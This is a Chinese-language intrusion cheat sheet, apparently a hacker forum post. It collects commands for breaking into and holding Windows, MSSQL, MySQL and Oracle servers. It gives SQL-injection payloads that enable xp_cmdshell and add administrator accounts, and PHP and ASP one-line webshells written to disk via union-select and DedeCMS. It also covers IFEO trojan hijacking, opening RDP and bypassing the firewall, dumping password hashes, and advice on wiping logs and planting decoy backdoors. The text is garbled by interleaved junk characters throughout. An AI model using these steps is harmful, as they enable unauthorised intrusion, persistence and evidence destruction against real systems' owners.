; D2 X7 Y( ^2 X G4 ?
1.net user administrator /passwordreq:no
3 ^+ }, Q: p4 H8 t$ `) W v这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了
7 e1 c6 W6 ^9 ]: s2.比较巧妙的建克隆号的步骤2 `1 |, h: F7 g2 B1 ]% @) A. h$ g
先建一个user的用户5 V4 ]0 f2 N/ I* H8 @& T" @
然后导出注册表。然后在计算机管理里删掉
, a+ D/ E+ `: b5 ]* L在导入,在添加为管理员组 _. u3 d* y% ]7 n. s8 I7 |
3.查radmin密码' M; G3 ]% T' {: p* k# S
reg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
8 m8 ^/ K* Q! X) `4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options], b6 D! t% N7 V0 d" H7 w$ Z
建立一个"services.exe"的项
4 v* @* p3 E2 P6 n6 Z! k再在其下面建立(字符串值)
3 l5 P6 u t4 p6 \4 A( P键值为mu ma的全路径
( J5 D# ]. K& i5.runas /user:guest cmd
2 I% e; u& a2 r3 V2 z测试用户权限!
$ K" Q3 l# J( t( B6.、 tlntadmn config sec = -ntlm exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'-- 其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
' e' J7 B v. | {7.入侵后漏洞修补、痕迹清理,后门置放:
+ D, Q. j# P& P- _基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
7 U/ X# v5 D8 W k* t8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c, v) `6 g: b {# m' b5 C; m! J
- N/ }% A9 [4 W; b: t" Z$ afor example8 [$ {" G2 f- W. p" _
& J9 Z2 @4 A# p4 c# `declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'; e: E0 v$ J2 D+ h! q0 D; z
/ r( n! J1 ^- J2 ^- N, S. {1 zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'4 E Z+ r2 o) c' V
7 q' G9 `) F& B5 N% J. l0 Y9:MSSQL SERVER 2005默认把xpcmdshell 给ON了- k+ \- Y1 _% l! `$ S4 m
如果要启用的话就必须把他加到高级用户模式
5 ], `* Q7 y1 n0 ~& l6 P" O可以直接在注入点那里直接注入
( f6 s' N$ z3 a5 b7 G1 k$ c0 nid=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
# l3 ]9 v U- ~: C2 D然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--8 P) |; s" _( E- t" V Q7 n0 I$ q
或者. H0 w) y, M( Q" x' Z4 H1 W. o/ ^
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
5 Z$ [8 D/ S+ r' {来恢复cmdshell。
0 v. u7 X8 r% k! z3 k
: c& D' R" R# U/ O% C分析器
+ B; R% I. |" r) C! oEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
F( y. C+ u# G; _然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")- b8 K, C5 N% w% s
10.xp_cmdshell新的恢复办法
|3 y3 f" W$ ~4 G( Xxp_cmdshell新的恢复办法4 a* P+ A" [6 M: [* \' v2 `
扩展储存过程被删除以后可以有很简单的办法恢复:
I# Q M e% ?2 C( N删除7 \: z1 i/ @) \8 d
drop procedure sp_addextendedproc
# g, [" v! f" z$ i8 x: ^5 E# b3 Gdrop procedure sp_oacreate! u5 D) i5 [6 L2 n
exec sp_dropextendedproc 'xp_cmdshell'% C# r4 H5 A2 b5 p
1 ]8 {% |) c. w: B4 @) I
恢复8 L' G5 E6 C; O2 t7 e; t7 ]
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
% t' X6 N; k) C0 Y3 udbcc addextendedproc ("xp_cmdshell","xplog70.dll")
& c, T ?2 ]5 H* {2 b# M
( T2 t; Y3 t( M这样可以直接恢复,不用去管sp_addextendedproc是不是存在
4 I6 E! V ?. [$ u9 y* t5 ~+ s! a& c& A9 C/ a A: D2 O
-----------------------------
! B: i! F* [. X- g5 R" [
: B) o8 W- y0 D1 i) s8 u# C删除扩展存储过过程xp_cmdshell的语句:
# b, X, r2 b# _; h1 K# v0 Dexec sp_dropextendedproc 'xp_cmdshell'; M) G! {$ S" w& U; ~! r
, I' v5 o1 P9 P4 r- {
恢复cmdshell的sql语句
$ g# y) s. W; |2 L- qexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'. P% m) c8 G+ E* T% |2 `
& s# t. O0 l( k; t8 |4 i6 H# z4 k8 G0 E, c z& d
开启cmdshell的sql语句
8 }! N9 ~% m. k* B" H/ R g/ z! U" }: T7 t( E
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
: R |7 q" x0 M1 w ~2 z& e, Q3 k$ }; i0 B% O/ M
判断存储扩展是否存在8 T1 Y h# a3 o. t2 S9 I
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'! A, @- e+ Q2 V5 g
返回结果为1就ok1 n5 q b8 U( i' }
9 k2 ] y+ G$ x/ Y恢复xp_cmdshell
' |% V( {' ]) Z, ?+ O: Z3 bexec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'( k- F5 n1 F% p# s4 q; x
返回结果为1就ok* p3 v1 S4 }% ?1 b- d$ N8 R+ b% j4 \; @
% D! t6 D8 o; c' j$ g
否则上传xplog7.0.dll1 Y. F% K4 N( p5 A
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'% k& o- m% L5 [/ Q: }
/ ^5 q, ?3 B' A5 q g堵上cmdshell的sql语句9 ]7 ^7 @. |8 B% _6 ]# W, g
sp_dropextendedproc "xp_cmdshel
! Y) k3 O7 r. l! U: l/ b& {0 t-------------------------
" x+ ~ ]7 `5 n, I5 G2 L s清除3389的登录记录用一条系统自带的命令:
4 u- L+ z. V' ^5 Dreg delete "hkcu\Software\Microsoft\Terminal Server Client" /f
0 {7 S7 X5 o9 u) n3 L: ]( G5 S0 O; U, C/ X/ D
然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件/ M% s0 C) b6 A
在 mysql里查看当前用户的权限4 B T/ b: @& R) ]* Z$ t
show grants for 2 X. b" r9 R& J
: D9 k$ ~2 K' p# p& X K以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。
8 ]+ z* P% E& O
0 `6 x5 b5 s% p
) a% P$ b& W o- r% w+ K- m/ DCreate USER 'itpro'@'%' IDENTIFIED BY '123';$ X; [% K* ]/ t a5 v- d, T" a
: y, H5 P6 `! d" i' ?, AGRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION
9 y# b, s3 w& |
: P4 \. W3 b- ^MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
3 M8 x! g' V9 l
5 H% K% L7 I! g8 p# ~. R- R( _) qMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
6 x+ C- C3 m8 ?* ~; @/ `. m9 @7 p& g
搞完事记得删除脚印哟。
% q, W5 L* A$ U1 S" c
* T1 F R& Z8 g" a4 N/ IDrop USER 'itpro'@'%';
" G8 r& h; _5 O. |1 T
) C3 p6 y# n6 ?; ^; [Drop DATABASE IF EXISTS `itpro` ;
: J- D k+ u( K# {2 J5 \* N1 S8 T0 D7 t0 G) F
当前用户获取system权限
7 }* y0 J* O: M+ b" jsc Create SuperCMD binPath= "cmd /K start" type= own type= interact
3 e% Z3 _5 F4 p+ B2 y/ u6 usc start SuperCMD
' ]4 N$ K% z2 M程序代码; l9 S! _9 j8 b; e' t& ?
<SCRIPT LANGUAGE="VBScript">
, ? m2 ^4 ]. A3 f }( }6 Jset wsnetwork=CreateObject("WSCRIPT.NETWORK")
- J( ]9 X$ r; [8 Jos="WinNT://"&wsnetwork.ComputerName4 u3 Z6 M) _: c9 O' ]
Set ob=GetObject(os). O# F6 {; W4 H9 ]. I7 F4 D& K% @
Set oe=GetObject(os&"/Administrators,group")
. V) |/ R3 l2 e, h0 q" VSet od=ob.Create("user","nosec")
9 X9 o: |0 G- U0 R- X. g% yod.SetPassword "123456abc!@#"
( H4 W) p/ h, B8 W& y/ G& Bod.SetInfo2 s4 l5 W* r. j, d; t
Set of=GetObject(os&"/nosec",user)
3 ]7 M8 E" Y4 `: z+ T/ ~oe.add os&"/nosec"( k) \2 V1 G/ n% M8 S
</Script>3 B! F& @9 b- r0 H. L; @; _% I
<script language=javascript>window.close();</script>
$ n5 C. X: x0 Q8 B: I) E2 f
, [3 n% j1 }* c/ y- W! g
$ |. D# [; o) x& y& ]2 i) J4 d1 @9 v5 J6 w7 M5 |
5 F$ j! c& F+ H0 P0 R8 H8 m突破验证码限制入后台拿shell [4 Q. |. Y' v1 i
程序代码
2 W5 w: W, q( {: W! g5 ]' J1 n1 r* YREGEDIT4 4 q: E2 ? ~& t1 O
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
+ y6 q! ]7 X5 M2 B6 x, K/ P"BlockXBM"=dword:00000000* o( h/ v& g* Q- O# J. R
8 L# o+ U, j+ i/ M% x9 {保存为code.reg,导入注册表,重器IE: Z- d+ E/ `+ e/ E) x
就可以了9 @6 w1 n+ r, L' {. H
union写马
4 |7 F0 b% U* {3 y2 _程序代码) T% l2 O, o) V
www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*
( y Q* I/ ]; ~: \: b7 q y) i @& d5 {* y9 Z
应用在dedecms注射漏洞上,无后台写马
4 u8 \& F) ?4 o' ?4 \0 adedecms后台,无文件管理器,没有outfile权限的时候
9 ]( x) `* p( T在插件管理-病毒扫描里$ u9 N, u3 q8 I4 {; W: J: X
写一句话进include/config_hand.php里# E# Z! J5 q2 r) Q t* \8 A
程序代码7 n8 e7 X5 R4 J# R8 r# `
>';?><?php @eval($_POST[cmd]);?>
, I+ i# O3 ?4 i7 J8 r. E+ m3 I G( ]$ T: E' s: x
/ V: v8 Y1 t/ O* S4 B u
如上格式
4 q# H7 {- }) e# c7 c2 e+ X+ n: ]& A' I/ ~5 L7 z5 B& Q R
oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
- r- e. @; p" ?- h+ _" E程序代码( y1 O& C/ k7 _& R
select username,password from dba_users;
c) J. T$ I2 c5 r0 \# t/ R' ~4 P$ E5 ^) `$ Z! t7 F( M
; A; ?# m, a! Smysql远程连接用户
) M8 K5 o% K4 `程序代码, m: `- W: e5 z+ |, d2 t
" D5 z$ ?% Z" c* CCreate USER 'nosec'@'%' IDENTIFIED BY 'fuckme';
4 H6 s, [* R, p% FGRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION& h9 l' w( \9 |- t+ }# @2 C
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 05 z2 n1 y; p4 z: y p n$ h
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;: B7 ^+ L0 O+ C* f9 u. w+ ]+ k7 T
?8 x5 d# V% F, p! s' u
6 h1 P: ?3 J; p* K; L8 c
2 x4 }) q& \& R8 R9 d9 P
1 U' U% t" O3 @ f3 i8 I5 necho y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 04 o' g6 D3 T' T) c0 a* m+ E. |9 s
8 e& A2 c) h/ _) q8 q0 J2 z% {+ f8 Y1.查询终端端口
- T* k E( J5 ^ D
' t5 [4 Y& z! h6 Q, l7 b0 sxp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
: }* |1 f, L5 D0 v
% y3 q9 ]2 d6 \* o. T& u通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"0 D4 [$ B" I" w6 b/ n
type tsp.reg2 T* t/ Y3 W8 p) C: d- x3 b
% @6 E% b% X# `2.开启XP&2003终端服务
0 c% u# c3 l) `# ^7 d& g
! s& h( R# R8 ~( n. d1 ?# _0 L$ k% E7 B! W0 k+ z
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
7 u% ]" W0 m3 o) e. n# W) |9 Q. s1 {" _0 ~6 a3 Z* i2 G
6 j+ J4 h0 G; ~7 ]9 e
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
1 e# S" L' ~& T: `0 e' x8 W% b7 b! ]* T" k+ j& C: m" X* i
3.更改终端端口为20008(0x4E28). |5 }* x6 k- s
' ^( K) N% O" \& C
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
& j* l! n' Z4 m8 f% P+ b
9 t5 I7 I8 A! c2 N# oREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f: C4 ^/ R4 V7 o1 W- e
* A1 a7 V z# C% G: [8 d F2 m
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制% K! P8 K( `5 [$ X
6 Q o% K) [* v# D3 b2 dREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f1 D1 b: K8 E( W- f) w) Q' }( E% l, ^, O
% e5 ~: W5 E; K% D/ D4 M
# R3 c( E9 n* T1 a9 w! U
5.开启Win2000的终端,端口为3389(需重启) Q3 H+ N1 G. @) q$ a
# T1 j' ]& ?, l m: fecho Windows Registry Editor Version 5.00 >2000.reg * [7 A/ o. ?+ i6 D; d% i& [
echo. >>2000.reg& O/ P# ? d5 _ D' h
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg , n: D5 j2 b) a$ c/ t7 Y$ G
echo "Enabled"="0" >>2000.reg & h2 p5 A& D; Z" F0 U* v. ?
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg
% G7 o% g7 G/ ~' techo "ShutdownWithoutLogon"="0" >>2000.reg
j% [; h6 `. s; L/ eecho [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg " B# D1 N* y1 B* K; |. U
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg : V# |& a7 R2 p' m% ]% c
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg % h1 P6 F1 x8 Q" M' Y8 V$ J [
echo "TSEnabled"=dword:00000001 >>2000.reg
* O. }+ g3 U( G* Y/ E& |echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg 9 _8 }) F w# L1 U0 m
echo "Start"=dword:00000002 >>2000.reg
" e/ G( A( t9 g) ^7 _echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg
, N$ `- j* V& w0 [) C" xecho "Start"=dword:00000002 >>2000.reg
$ m& R( w/ C9 m/ g2 O( t4 p) w# necho [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg
' h/ X9 j) _( ^$ Z& [$ ?: uecho "Hotkey"="1" >>2000.reg , I1 p" E8 h; }3 D# q6 F, E
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg 7 J4 W7 A' K+ M8 F, p& ^
echo "ortNumber"=dword:00000D3D >>2000.reg
+ B" [* h- l) g5 u: mecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg 6 `6 q7 g! S/ r* T$ o- K/ ], I
echo "ortNumber"=dword:00000D3D >>2000.reg/ D/ Y0 [$ J" w* Z* R
( J4 \: [& u7 n" Q8 N! [6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)# v) ]) P* }8 `3 W
2 D6 h2 W) h! U
@ECHO OFF & cd/d %temp% & echo [version] > restart.inf
; g9 u+ s$ P+ I(set inf=InstallHinfSection DefaultInstall)) W& H& y' a9 B
echo signature=$chicago$ >> restart.inf
5 u5 C& u; e0 N3 ^# T1 z$ @4 Z8 iecho [defaultinstall] >> restart.inf
& T$ u9 Q9 k3 I7 arundll32 setupapi,%inf% 1 %temp%\restart.inf! M, Z3 B1 Q) u! h- d3 j
. T! r! W: x% t. n( E2 T- g
# ^+ H: V: }- y! s( O1 i
7.禁用TCP/IP端口筛选 (需重启)
' O' H8 |9 h+ m+ S6 ^" q4 O" K5 ~2 P+ I" x* G8 }
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f; H/ e+ r v) k( Q4 f! G4 h
4 b, x5 _! H+ z* u' ?( n7 o8.终端超出最大连接数时可用下面的命令来连接
F) H4 ?, C; I' x! E( @# z* G, Z
" L- T+ n4 O5 R5 A8 J6 I. xmstsc /v:ip:3389 /console5 B* C% J% x7 W4 H+ u( D
- k( A. O) i4 @3 {$ a9.调整NTFS分区权限( `+ n% G" Q$ r# J& S9 F% u
3 Y& E+ M& n5 P5 R/ H
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)
, I) u. g- B# j# f2 S2 {( }/ `& h% Z( L( @, O6 O, P: s9 K
cacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)2 Q" E6 d: |" E
6 U, S( ]. z* s: d9 A; x------------------------------------------------------
; Q7 ^% s7 ]2 o& R. x3389.vbs ! n$ c7 k+ k3 d' Y9 Z! |3 |1 C
On Error Resume Next& ?" o. O6 o2 v/ c4 n" X
const HKEY_LOCAL_MACHINE = &H80000002
, A4 \2 S6 ]* X4 i; zstrComputer = "."7 o+ Q, L6 i1 d! `. X. S6 \5 p$ ]' S0 s
Set StdOut = WScript.StdOut
# O2 d5 [ Q% kSet oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
4 X" T( S0 K6 H) r8 V9 ?strComputer & "\root\default:StdRegProv")1 A% `; d$ N, ^# b
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
1 B$ f# I+ |/ N5 }4 Noreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath3 O) |; k& F0 A/ L
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
* I5 X2 q- k1 d8 ?, _8 Ooreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath/ b3 b/ i$ r, x1 L! V
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"* g8 m8 N& m% y
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
4 `# r& m: a, s, D( b! ~strValueName = "fDenyTSConnections"5 M8 S* p, D& V% u, S$ V
dwValue = 0. J3 T- h* J i( Q" V- R
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
' ], v* ^3 d! XstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
1 w$ E% A) s+ g# \% IstrValueName = "ortNumber" s2 K& J+ S' B6 x
dwValue = 3389% G& U+ }3 E6 E& U3 H' `
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue2 m! X% Z9 U- ~, i+ t' y0 L
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"" |: ?) h' \+ z* f# B( b& R
strValueName = "ortNumber"
( a+ y- `+ I* D- O# {# H# qdwValue = 3389% q N R- k& H! z
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue( E9 h9 X8 W! y% p3 \: {9 {' W
Set R = CreateObject("WScript.Shell")
; j6 V- t' r* [' ^3 _ CR.run("Shutdown.exe -f -r -t 0") 7 Z1 k- {) R: u# w) q6 g
% [# K3 i/ ?. P3 L. B7 k删除awgina.dll的注册表键值9 _+ a4 Q# O2 `8 S/ R7 E9 @0 C
程序代码% v$ V! f: `' h& w
0 G) N9 ~/ b4 \5 |
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f
# E, Z6 U C! v% c
) |# s4 X0 u4 k( v
# u2 M4 i k( ` p4 O- T+ A6 _
D O( u, C8 ` L( Q# M1 j" N& E8 w0 Y, K" }
程序代码
$ W. i5 X0 D, }- j8 k0 _! x8 P4 cHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash" q X0 B* Y4 U' @ \* ]
; L! W" w! R# d6 {7 T
设置为1,关闭LM Hash
# W1 M5 Z% o @6 v3 k0 Y5 N: s. g8 e# G( j& Q; D- a
数据库安全:入侵Oracle数据库常用操作命令
@3 v, P; \* D最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。4 R, ?$ r& q0 a) | n' r, L% z' V
1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
. _) J& s# g' C1 G2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;; f. f% Z9 s2 Q9 ~$ V
3、SQL>connect / as sysdba ;(as sysoper)或# E y2 q9 P3 V! M4 T! r
connect internal/oracle AS SYSDBA ;(scott/tiger)7 i5 D; X: s' l: d6 v
conn sys/change_on_install as sysdba;! M% F5 S' z( I
4、SQL>startup; 启动数据库实例
0 t N* ~$ W) ]/ u# K2 |1 N. Z5、查看当前的所有数据库: select * from v$database;
4 I: T$ w2 D6 ] pselect name from v$database;) z: j( ]5 q+ C7 [' u7 V, |
6、desc v$databases; 查看数据库结构字段
$ u2 K# x/ Y* \7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
8 V4 ?1 B. h) X, iSQL>select * from V_$PWFILE_USERS;
" g$ X- y' d# o* N% }Show user;查看当前数据库连接用户
* p* @3 e* \9 G" a5 b8、进入test数据库:database test;& X K& Y$ E- ]3 `6 p' \2 ]: m9 H$ J
9、查看所有的数据库实例:select * from v$instance;
2 c# A& e/ g+ Y/ t如:ora9i
% z! N& T4 y' h0 ^: o# Z% w10、查看当前库的所有数据表:* G$ E: p2 w! O7 ~! r8 L! K8 s
SQL> select TABLE_NAME from all_tables;" M! h A J: u% c- N2 P* P2 I- b9 g
select * from all_tables;
' z2 j, ~: Y5 o1 N3 cSQL> select table_name from all_tables where table_name like '%u%';0 W1 K, g: v% L) Q* x8 f
TABLE_NAME
1 ?/ i. G1 P0 t* ?% P------------------------------
" ]* k/ H* a3 `* S$ i1 b_default_auditing_options_
8 x" }# _0 y5 x. w1 ?! W11、查看表结构:desc all_tables;( e: R" u" o7 |( |% X
12、显示CQI.T_BBS_XUSER的所有字段结构:
6 a8 G. v" j6 W7 }1 x Zdesc CQI.T_BBS_XUSER;+ v Z+ H$ d @+ v7 Q. T( [, P# v$ X8 ^
13、获得CQI.T_BBS_XUSER表中的记录:7 S: j. o% u. p( Q
select * from CQI.T_BBS_XUSER;: Q. i, {" F6 B3 ?+ a
14、增加数据库用户:(test11/test)* }$ L- w* C8 ^
create user test11 identified by test default tablespace users Temporary TABLESPACE Temp;+ T2 g# |4 S" J2 r0 f4 d: }# d
15、用户授权:
! }1 c/ |1 @, Z) h. l bgrant connect,resource,dba to test11;. w, X+ I( l, M( w/ k k' l( S' W
grant sysdba to test11;9 p% ]" g# j! }+ B9 |
commit;" E- \2 k3 L0 E. V+ P/ c( H
16、更改数据库用户的密码:(将sys与system的密码改为test.)7 r) f' y+ [5 [/ R0 ?
alter user sys indentified by test;
$ b6 \) f; w' Zalter user system indentified by test;2 X( y- N2 V' |/ K y0 y. I
* W. N" i ~( s: C! W' japplicationContext-util.xml9 J+ A4 H/ Y4 M$ `' j
applicationContext.xml
# K7 L& G1 j7 \/ Wstruts-config.xml& e, _4 C2 K# k8 q5 f
web.xml
9 S3 T( O9 u# a1 X! J9 Y: v: D9 ] jserver.xml
' Q7 I5 }9 ^5 ttomcat-users.xml7 {& l1 ^; \5 @% V2 n' a
hibernate.cfg.xml; M& H3 Y. e8 J- }; w
database_pool_config.xml8 R" m$ W+ F+ ~: ^, J5 n# v
7 }0 F1 @) |/ H. d. s" h3 \) ~% n5 a3 e0 o }1 ]/ t& y
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置# E# L" P$ }7 j2 A0 A/ n9 A
\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini
, C {$ p6 {/ c1 k" L\WEB-INF\struts-config.xml 文件目录结构
( }1 b5 y; u) ~
$ }/ F- D2 L$ q/ z; \. t# |spring.properties 里边包含hibernate.cfg.xml的名称. S$ {+ I$ q, w# G: _, o
" }1 Z+ g% i0 Y$ D6 X
7 \7 e9 Z6 F% L# N( R
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml4 c, B |6 i+ s* x9 ~6 m* t
2 t8 s/ ^7 n5 A4 O) V, i! B, \如果都找不到 那就看看class文件吧。。
5 ^7 F) J1 ^& M1 T4 Z) |6 P& }' z4 M7 a* c2 b% j
测试1:7 l- \5 L1 P; _4 W) Y1 V9 W
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
# D) Y8 c( Y; n& r" V3 R: w$ i& w
+ I& m! j! ?# q* j( I" a- T% d测试2:) K# n+ T# f# G- x/ q4 f
- V/ k& b# i3 d, i
create table dirs(paths varchar(100),paths1 varchar(100), id int); O$ x1 k s& j. {$ ~& L4 M7 t
! H: A8 _. u' `: g" C* G; ?" v
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
1 q: }0 r- e; F5 y
" z& y; o+ _* U0 t4 x1 {9 RSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
$ i6 K0 `$ M# n3 E0 ]; O
) O3 c7 F6 z. X. l& K g) z' J查看虚拟机中的共享文件:
I! M( ~9 W/ ^3 x在虚拟机中的cmd中执行
0 E0 e! \& U6 X" J\\.host\Shared Folders
9 m0 N+ a9 P; q b" Q/ E& t2 k1 S9 p% F; ? c5 K
cmdshell下找终端的技巧3 U1 b/ L3 J# w( n( H
找终端: , i2 i1 l* M! }3 W& }
第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! a% U1 n' P, u* J7 S, ]3 X
而终端所对应的服务名为:TermService
8 r; b' n( c5 M- z# ?3 U u第二步:用netstat -ano命令,列出所有端口对应的PID值!
) n* [0 w: k( e; W, {2 J 找到PID值所对应的端口3 h+ K: B, k9 b, O: |' j
% }* n9 K0 B' P7 a: ?7 D
查询sql server 2005中的密码hash& A: h" U$ E1 a }
SELECT password_hash FROM sys.sql_logins where name='sa'$ X1 q% ?" ?( `/ R8 W9 J
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
! ^. T" t" X" C4 o7 h! Q- J/ M$ iaccess中导出shell
6 h7 D* M7 f2 S( j
1 x M& g% s: V& h2 [中文版本操作系统中针对mysql添加用户完整代码:; \4 B# N3 H# K
, s3 R: q" u, P6 Q
use test;% [. f. v# Q$ H: c
create table a (cmd text);% e! Q1 D6 S% N
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
